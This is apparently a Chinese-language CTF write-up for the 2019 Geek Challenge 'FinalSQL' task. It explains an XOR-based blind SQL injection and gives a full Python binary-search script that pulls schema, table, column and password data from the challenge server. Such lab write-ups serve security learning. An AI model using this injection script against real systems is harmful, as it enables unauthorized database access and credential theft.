[极客大挑战 2019]FinalSQL



用异或来注入

注入语句为1是error,为0时为check

复制代码
?id=1^(length(database())=5)

写盲注脚本

这道题有点坑,首先是表名有两个,一个特别想flag,还有一个就是需要多线程,但是由于是python的,也没有那么必要等一会就出来了

复制代码
import requests

flag = ""
i = 0

while True:
    head = 127
    tail = 32
    i += 1

    while tail < head:
        mid = (head + tail) // 2
        # url = f"http://0781b439-5ece-442b-a082-731016be580f.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})--+"
        # url = f"http://0781b439-5ece-442b-a082-731016be580f.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),{i},1))>{mid})--+"
        # url = f"http://0781b439-5ece-442b-a082-731016be580f.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{i},1))>{mid})--+"
        url = f"http://3f5e5555-232e-48d1-bae5-64b59f257a76.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(password))from(F1naI1y)),{i},1))>{mid})--+"

        r = requests.get(url=url)
        if 'ERROR' in r.text:
            tail = mid + 1
        else:
            head = mid

    if tail != 32:
        flag += chr(tail)

    else:
        break
    print(flag)
相关推荐
独行soc3 小时前
2025年渗透测试面试题总结-阿里云[实习]阿里云安全-安全工程师(题目+回答)
linux·经验分享·安全·阿里云·面试·职场和发展·云计算
事业运财运爆棚3 小时前
中exec()函数因$imagePath参数导致的命令注入漏洞
web安全
lqlj22334 小时前
Spark SQL 读取 CSV 文件,并将数据写入 MySQL 数据库
数据库·sql·spark
草莓熊Lotso4 小时前
【C语言字符函数和字符串函数(一)】--字符分类函数,字符转换函数,strlen,strcpy,strcat函数的使用和模拟实现
c语言·开发语言·经验分享·笔记·其他
遗憾皆是温柔4 小时前
MyBatis—动态 SQL
java·数据库·ide·sql·mybatis
未来之窗软件服务5 小时前
Cacti 未经身份验证SQL注入漏洞
android·数据库·sql·服务器安全
_Jyuan_5 小时前
尼康VR镜头防抖模式NORMAL和ACTIVE的区别(私人笔记)
经验分享·笔记·数码相机·相机
shenyan~6 小时前
关于 Web安全:1. Web 安全基础知识
安全·web安全
_星辰大海乀6 小时前
表的设计、聚合函数
java·数据结构·数据库·sql·mysql·数据库开发
若初&9 小时前
文件上传Ⅲ
前端·web安全